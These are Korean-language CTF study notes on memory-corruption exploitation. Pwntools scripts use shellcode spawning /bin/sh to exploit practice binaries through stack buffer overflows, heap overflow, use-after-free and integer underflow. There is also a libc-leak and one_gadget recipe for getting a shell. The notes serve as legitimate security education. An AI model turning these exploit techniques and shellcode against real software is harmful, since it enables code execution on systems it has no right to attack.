# 시스템 해킹 ## 메모리 ### 스택 - 높은 주소에서 낮은 주소로 공간을 할당함. - 데이터를 넣을 땐 Push, 뺄 땐 Pop(32비트에선 4바이트씩, 64비트에선 8바이트씩 이동) - SP(Stack Pointer) - BP(Base Pointer) - 지역 변수, 부모 함수의 베이스 포인터, 복귀 주소가 저장됨 ## 함수의 호출과 복귀 ### 함수 프롤로그 ``` push rbp mov rbp, rsp ``` 1. 부모 함수의 베이스 포인터 백업 2. 새 베이스 포인터 선언 ### 함수 에필로그 ``` leave : mov rsp, rbp pop rbp ret : pop rip ``` 함수의 구조나 운영체제, 버전 별로 조금씩 다를 수 있음 가장 통용되는 에필로그 명령은 위와 같음. 1. RBP 레지스터의 값을 부모 함수의 베이스로 복구 2. 복귀 주소로 복귀 ### 함수 호출 규약(Calling Convention) 운영체제 별로 상이 64비트 리눅스의 경우 다음과 같음 ``` rdi rsi rcx rdx r8 r9 stack.. ``` ## bof1 gdb 내에서 표준 입력 값 전달의 예 ``` r <<< `perl -e 'print "A"x4,"B"x4'` ``` 파이썬 스크립트 ```python from pwn import * payload = b"" payload += b"A" * 0x208 payload += p64(0x4011dd) p = process("./bof1") print(p.recv(1024)) # gdb.attach(p) # pause() p.send(payload) p.interactive() ``` ## bof2 ```python from pwn import * p = process("./bof2") sc = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" output = p.recv(1024) addr = output.split(b' @ ')[1].split(b'\n')[0] addr = int(addr.decode(), 16) payload = sc payload += b"A" * (0x208 - len(sc)) payload += p64(addr) gdb.attach(p) pause() p.send(payload) p.interactive() ``` ## Advanced Buffer Overflow 1. 복귀 주소 조작 불가능 2. 내가 조작할 수 있는 데이터는 어떤 기능을 가지고 있는가? RIP는 명령(셸코드)이 담긴 **주소**가 저장되는 레지스터. 그러므로, ***RIP에 셸코드가 담긴 주소가 입력***되도록 페이로드를 구성 ``` from pwn import * p = process("./advanced_bof") sc = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" output = p.recv(1024) addr = output.split(b' @ ')[1].split(b'\n')[0] addr = int(addr.decode(), 16) payload = p64(addr + 8) payload += sc payload += b"A" * (0x200 - len(payload)) payload += p64(addr - 8) #gdb.attach(p) #pause() p.send(payload) p.interactive() ``` ## 심심한 사람을 위한 간단 BOF ``` wget https://tinyurl.com/smww7mjv -O bof.zip ``` 압축 해제 시 src, Makefile, flag 파일 존재, 해당 위치에서 아래 명령 실행 ``` make ``` 명령어 입력 시 babyBof 바이너리 생성 해당 바이너리에는 **PIE**가 활성화 되어있음. 따라서 함수 주소가 실행 시마다 변경됨. ``` gdb -q babyBof (peda) start (peda) pd main ``` gdb로 디버깅 하려면, start 명령을 통해 메모리에 적재(실행)되어야만 실제 함수 주소 획득 가능 => gdb를 통해 실행 시 매번 주소가 같지만, 실제로 파이썬을 통해 실행된 바이너리에 연결해보면 매번 주소가 달라짐을 알 수 있음 **목표는 getflag() 함수의 호출** 어렵게 생각하면 못 풀고, 실행을 반복하면서 메모리를 잘 관찰해야함. 기술적 테크닉 보단 센스를 요구하는 문제. ### Heap Based Buffer Overflow(Heap Overflow) ![image](https://hackmd.io/_uploads/Hk8aFV2txg.png) ```python= from pwn import * p = process("./heap_overflow") # gdb.attach(p) # pause() def create(): # menu p.recvuntil(b"> ") p.send(b"1\n") def insert(idx, data): # menu p.recvuntil(b"> ") p.send(b"2\n") # select idx p.recvuntil(b"> ") p.send(idx + b'\n') # input p.recvuntil(b"> ") p.send(data + b'\n') def modify(idx, data): # menu p.recvuntil(b"> ") p.send(b"3\n") # select idx p.recvuntil(b"> ") p.send(idx + b'\n') # input p.recvuntil(b"> ") p.send(data + b'\n') create() insert(b"0", b"AAAA") create() insert(b"1", b"AAAA") payload = b"\x41" * 0x20 payload += p64(0x404090) # flag's address modify(b"0", payload) payload = p32(0x31337) modify(b"1", payload) p.recvuntil(b"\n") print(p.recv(1024)) p.interactive() ``` 캐스팅 해서 출력 ``` p *(struct Data*)0x00000000004052a0 ``` #### 셸? 보통 CTF 문제면 셸을 획득해야함 임의 주소에 대해 데이터를 읽고 쓸 수 있으면(**AARW**, **A**rbitrary **A**ddress **R**ead/**W**rite Primitive) 통상적으로 아래와 같은 방식으로 셸을 획득할 수 있음. 이건 중요한 건 아닌데, (기법 자체가 리눅스 유저레벨에서만 쓸 수 있으니) 보통 ctf 포너블 문제가 ELF 바이너리로 출제되고, 아래와 같은 방식으로 풀이하므로 대회를 나가거나 문제를 풀 생각이 있다면 알아둬야 함. ```python= libc_bin = ELF("/lib/x86_64-linux-gnu/libc.so.6") bin = ELF("./heap_overflow") printf_in_libc = libc_bin.symbols["printf"] environ = libc_bin.symbols["environ"] printf_in_bin = bin.got["printf"] # printf_in_bin 안에 저장된 포인터를 읽어서 printf 라이브러리 주소 획득 # 획득한 printf 주소에서 printf_in_libc를 빼서, libc의 시작 주소 획득 # libc의 시작 주소에서 environ을 더해 environ 주소를 획득하고, 해당 주소를 읽으면 스택 주소를 획득할 수 있음 # 획득한 스택 주소를 디버거에서 쭉 훑어보면서 리턴 주소를 찾음 # 획득한 스택 주소에서, 대상이 될 리턴 어드레스까지의 거리를 알아야 함 # 획득한 주소 - 거리 = 리턴 어드레스 # 스택의 주소는 매번 바뀌기 때문에.. 거리를 계산한 후에 획득한 스택 주소에서 해당 값을 뺴는 것. # one_gadget /lib/x86_64-linux-gnu/libc.so.6 # 리턴 주소에 one_gadget으로 획득한 주소를 쓰면, 셸을 획득할 수 있음 ``` heap_overflow.c의 readData 함수 코드를 아래와 같이 수정 후 진행 ```clike void readData(){ ... write(1, data->ptr, data->size); // printf("[+] Data : %s\n\n", data->ptr); return; } ``` 보통 읽고 쓰는 기능을 함수로 정의해서 사용함. 기존 익스플로잇 코드에 아래 내용을 추가 ```python= def readData(idx): # menu p.recvuntil(b"> ") p.send(b"4\n") p.recvuntil(b"> ") p.send(idx + b'\n') return p.recv(8) create() insert(b"0", b"AAAAAAAA") create() insert(b"1", b"AAAAAAAA") def read64(addr:int): payload = b"\x41" * 0x20 payload += p64(addr) modify(b"0", payload) return u64(readData(b"1")) def write64(addr:int, val:int, is32 = False): payload = b"\x41" * 0x20 payload += p64(addr) modify(b"0", payload) if is32: modify(b"1", p32(val)) else: modify(b"1", p64(val)) print(hex(read64(0x404098))) write64(0x404098, 0x31337, True) ``` 아래는 실제 출제된 포너블 문제의 풀이에서, 셸을 획득하는 부분의 코드임 문제 혹은 바이너리 별로 AARW를 구현하는 방법은 각자 다르지만, 이후의 익스플로잇 흐름은 사실상 대동소이함. 위 익스플로잇에도 거의 똑같이 적용 가능한듯? ```python= write_in_libc = read64(write_got) libcbase = write_in_libc - write_in_libc_offset print(f"libcbase: {hex(libcbase)}") environ_in_libc = libcbase + environ_in_libc_offset stack = read64(environ_in_libc) print(f"stack: {hex(stack)}") stackToRet = 0x140 ret = stack - stackToRet one_gadget_offset = 0xebd43 oneshot = libcbase + one_gadget_offset writeRET(ret, oneshot) ``` Lazy Binding, Dynamic Linking ### Use After Free ![image](https://hackmd.io/_uploads/HyQmVKCtle.png) ```python= from pwn import * p = process("./use_after_free") # gdb.attach(p) flag = 0x404070 def setString(data): # menu p.recvuntil(b"> ") p.send(b"1\n") p.recvuntil(b"> ") p.sendline(data) def delString(): # menu p.recvuntil(b"> ") p.sendline(b"3\n") def setNum(data): # menu p.recvuntil(b"> ") p.sendline(b"4") p.recvuntil(b"> ") p.sendline(data) setString(b"AAAA") delString() setNum(f"{flag}".encode()) # p64(flag) setString(p32(0x31337)) print(p.recv(1024)) ``` ### Integer Over/Underflow(Dict) 수를 표현하는 데이터 타입((u)int, (u)char, (u)short..)에서, 연산에 의해 해당 데이터 타입이 표현할 수 있는 값의 범위를 벗어났을 때 발생하는 취약점. ```c unsigned int a = 0xffffffff; a += 1; printf("%u\n", a); // => 0 unsigned int b = 0; b -= 1; printf("%u\n", b) // => 4294967295 ``` dict.c ```c // 새로 입력할 값의 크기 > 남은 공간의 크기 if(len > DICT_SIZE - 2 - dicts[idx]->curSz) return -1; ``` curSz는 최대 DICT_SIZE만큼 증가할 수 있는데, **DICT_SIZE - 1** 이상의 값을 가질 때부터, 우항의 연산 결과가 **음수(Integer Underflow)** 가 되어 매우 큰 값으로 인식. 결과적으로 **남은 공간의 크기** 가 매우 큰 값으로 인식되어 **Heap Overflow**로 이어지게 됨 ```python= from pwn import * p = process('./dict') flag = 0x404150 def createDict(): p.recvuntil(b'> ') p.send(b'1\n') def insert(idx, key, value): p.recvuntil(b'> ') p.send(b'2\n') p.recvuntil(b'Dict idx > ') p.sendline(idx) p.recvuntil(b'Key > ') p.send(key) p.recvuntil(b'Value > ') p.send(value) createDict() createDict() for i in range(25): insert(b"0", b"a" * 32, b"b"*128) sleep(0.1) insert(b"0", b"a" * 32, b"b"*11) insert(b"0", b"A" * 16 + b"\x00" * 8 + p64(flag - 1), b"b" * 1) insert(b"1", p64(0x31337), b"d") p.interactive() ``` #### Overflow의 예 ```c #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> struct Wrapper{ uint32_t cnt; struct structExample* arr; }; struct structExample{ int a; int b; void * ptr; }; struct structExample* createExampleArr(uint32_t cnt){ uint32_t sz = cnt * sizeof(struct structExample); struct structExample* t = malloc(sz); memset(t, 0, sz); return t; } int main(){ uint32_t cnt; scanf("%d", &cnt); struct Wrapper * w = malloc(sizeof(struct Wrapper)); w->cnt = cnt; w->arr = createExampleArr(cnt); for(int i = 0; i < w->cnt; i++){ w->arr[i].a = 4; w->arr[i].b = 5; w->arr[i].ptr = NULL; } getchar(); } ```